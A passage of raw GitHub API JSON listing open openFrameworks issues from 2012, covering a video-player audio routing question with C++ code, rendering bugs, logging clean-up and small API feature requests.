ar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"milestone":null,"comments":2,"created_at":"2012-02-27T14:59:34Z","updated_at":"2012-05-18T08:47:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I have a simple app that plays video files. I try to route (under windows) its output using Jack and Vitual Audio Cable but none can access it. I am just using the basic functionality of ofVideoPlayer, this is the class that deals with the video playing\r\n\r\n\r\n\t#include \"oscVPlayer.h\"\r\n\t#include \"ofMain.h\"\r\n\r\n\r\n\r\n\toscVPlayer::oscVPlayer()\r\n\t{\r\n\t\t\treset();\r\n\t}\r\n\r\n\tvoid oscVPlayer::reset()\r\n\t{ //defaults to fullscreen\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t\t\tx = 0;\r\n\t\t\ty = 0;\r\n\t\t\tdonereported = false;\r\n\t\t\tloopflag = OF_LOOP_NONE;\r\n\t\t\t\r\n\t\t\tcol.r = 0;\r\n\t\t\tcol.g = 0;\r\n\t\t\tcol.b = 0;\r\n\t\t\tcol.a = 255;\r\n\r\n\t\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t\t\tsetFrame(0);\r\n\t\t\t\t\tsetUseTexture(1);\r\n\t\t\t\t\tsetPaused(0);\r\n\t\t\t\t\tsetLoopState(OF_LOOP_NORMAL);\r\n\t\t\t\t\tsetSpeed(1);\r\n\t\t\t\t\tsetVolume(255);\r\n\t\t\t\t\tstop();\r\n\t\t}\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::setUpVideo(string movie)\r\n\t{\r\n\t\t\tif (movie != \"none\")\r\n\t\t\t{\r\n\t\t\t\t\tif ( loadMovie(movie) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"movie loaded\\n\");\r\n\t\t\t\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t\tprintf(\"CANNOT load movie\\n\");\r\n\t\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\tprintf(\"movie parameter is none, cannot load it\\n\");\r\n\t\t\t}\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::setLoop()\r\n\t{\r\n\t\t\tsetLoopState(loopflag); // go back to your state. otherwise play resets it to loop ON\r\n\t}\r\n\r\n\r\n\r\n\r\n\tvoid oscVPlayer::resetSize()\r\n\t{\r\n\t\t\tw = NULL;\r\n\t\t\th = NULL;\r\n\t}\r\n\r\n\r\n\tvoid oscVPlayer::draw()\r\n\t{\r\n\t\tif (isLoaded())\r\n\t\t{\r\n\t\t\t if (col.a < 255) ofEnableAlphaBlending();\r\n\t\t\t\tofSetColor(col.r,col.g,col.b, col.a);\r\n\t\t\t\tofVideoPlayer::update();\r\n\t\t\t\tif (w==NULL && h==NULL)\r\n\t\t\t\t{\r\n\t\t\t\t\t\tofVideoPlayer::draw(x, y);\r\n\t\t\t\t}\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\t\t\tofVideoPlayer::draw(x, y, w, h);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (col.a < 255) ofDisableAlphaBlending(); \r\n\t\t}\r\n\t}\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/987/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/987","id":3387163,"number":987,"title":"GL_CULL_FACE breaks ofDrawBitmapString()","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-25T20:25:00Z","updated_at":"2012-02-25T20:25:00Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"i think this is because ofDrawBitmapString draws the quads in the wrong orientation. but i'm guessing it works in FBOs... so if we switch the order it will stop working in FBOs."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/985/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/985","id":3386914,"number":985,"title":"Make logging messages more informative","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":33,"created_at":"2012-02-25T19:41:58Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Some logging messages don't really tell where they were triggered. Someone needs to go through them and add information as to what module triggered the message. \r\n@danomatika has already volunteered to do this some time."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/984/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/984","id":3386889,"number":984,"title":"Replace printf() occurences by ofLog() in the core addons","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"state":"open","assignee":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"milestone":null,"comments":5,"created_at":"2012-02-25T19:36:51Z","updated_at":"2013-02-22T17:59:36Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"There's a lot of logging printfs in the core addons. These should be replaced by appropriate ofLog calls."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/976/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/976","id":3382990,"number":976,"title":"ofVec2f::average has unexpected/clumsy behaviour","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-02-25T03:45:02Z","updated_at":"2012-02-27T13:35:34Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"`ofVec2f` has a function called `average` which takes an array of `ofVec2f` and calculates the centroid. it is not static, rather it overwrites its own `x` and `y` with the average. \r\n\r\nthis is a little weird. `average` should be static, or at least be *returning* the average rather than assigning to self."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/955/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/955","id":3367910,"number":955,"title":"ofBackgroundGradient needs to be billboarded","user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-02-24T04:31:01Z","updated_at":"2012-12-28T11:32:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"right now if you try and scale/rotate/etc before calling ofBackgroundGradient, it will fail.\r\n\r\npeople generally call ofBackground at the top of draw() so it shouldn't be a huge issue... but it does make it a little 'fragile'."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/933/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/933","id":3357855,"number":933,"title":"Problem with moviePlayerExample under linux64","user":{"login":"agrosjea","id":1466085,"avatar_url":"https://secure.gravatar.com/avatar/e52c167621119d58d03c586bb053a633?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e52c167621119d58d03c586bb053a633","url":"https://api.github.com/users/agrosjea","html_url":"https://github.com/agrosjea","followers_url":"https://api.github.com/users/agrosjea/followers","following_url":"https://api.github.com/users/agrosjea/following","gists_url":"https://api.github.com/users/agrosjea/gists{/gist_id}","starred_url":"https://api.github.com/users/agrosjea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agrosjea/subscriptions","organizations_url":"https://api.github.com/users/agrosjea/orgs","repos_url":"https://api.github.com/users/agrosjea/repos","events_url":"https://api.github.com/users/agrosjea/events{/privacy}","received_events_url":"https://api.github.com/users/agrosjea/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":null,"comments":4,"created_at":"2012-02-23T15:46:06Z","updated_at":"2012-02-23T19:12:08Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Hello, I get a weird error trying to compile the movieplayerexample under linux64 :\r\n\r\n> `.text._ZN11ofBaseVideoD2Ev' referenced in section `.text._ZN11ofBaseVideoD1Ev[non-virtual thunk to ofBaseVideo::~ofBaseVideo()]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o): defined in discarded section `.text._ZN11ofBaseVideoD2Ev[_ZN11ofBaseVideoD5Ev]' of ../../../libs/openFrameworksCompiled/lib/linux64/libopenFrameworks.a(ofBaseTypes.o)\r\n\r\nMy version of OF is 007, it used to work under 0062...\r\n\r\nWhat should I do ?\r\n\r\nThanks"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/931/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/931","id":3351646,"number":931,"title":"ofCamera is not aware of ofOrientation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/critical","name":"critical","color":"ff0000"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":30,"created_at":"2012-02-23T05:13:24Z","updated_at":"2013-02-11T12:16:29Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":""},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/930/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/930","id":3351643,"number":930,"title":"ofSetupPerspective ofOrientation","user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T05:12:47Z","updated_at":"2012-02-23T05:12:47Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"do we need the ofOrientation parameter in ofSetupPerspective?\r\n\r\nit applies the rotation but if ofSetOrientation hasn't been called before passing the same orientation the results are not the expected.\r\n\r\nto test it:\r\n\r\nofSetOrientation(OF_ORIENTATION_90_LEFT);\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\nworks as expected but calling only \r\n\r\nofSetPerspective(ofGetWidth(), ofGetHeight(),OF_ORIENTATION_90_LEFT)\r\n\r\napplies a weird rotation cause the values of ofGetWidth(), ofGetHeight() are still the default ones\r\n\r\nis there any case where it's useful to call setupPerspective with a different orientation that the window has?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/929/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/929","id":3351374,"number":929,"title":"ofGetLogLevel should also accept modules","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T04:19:48Z","updated_at":"2012-02-23T04:19:48Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently ofGetLogLevel returns the global log level aka for the \"OF\" module. It would be nice to be able to get the log level for user modules via:\r\n\r\n ofLogLevel level = ofGetLogLevel(\"myLogModule\");\r\n\r\nIt would as simple as adding the module as a string variable with a default of \"OF\".\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/928/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/928","id":3351170,"number":928,"title":"no ofGetBackground()","user":{"login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","url":"https://api.github.com/users/danomatika","html_url":"https://github.com/danomatika","followers_url":"https://api.github.com/users/danomatika/followers","following_url":"https://api.github.com/users/danomatika/following","gists_url":"https://api.github.com/users/danomatika/gists{/gist_id}","starred_url":"https://api.github.com/users/danomatika/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/danomatika/subscriptions","organizations_url":"https://api.github.com/users/danomatika/orgs","repos_url":"https://api.github.com/users/danomatika/repos","events_url":"https://api.github.com/users/danomatika/events{/privacy}","received_events_url":"https://api.github.com/users/danomatika/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":null,"milestone":null,"comments":0,"created_at":"2012-02-23T03:46:32Z","updated_at":"2012-02-23T03:46:32Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently there is a ofBgColorPtr(), but maybe it's nice to have a ofGetBackground() that returns an ofColor object or a reference to one."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/926/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/926","id":3341020,"number":926,"title":"ofGetViewportWidth/Height returns 0 at 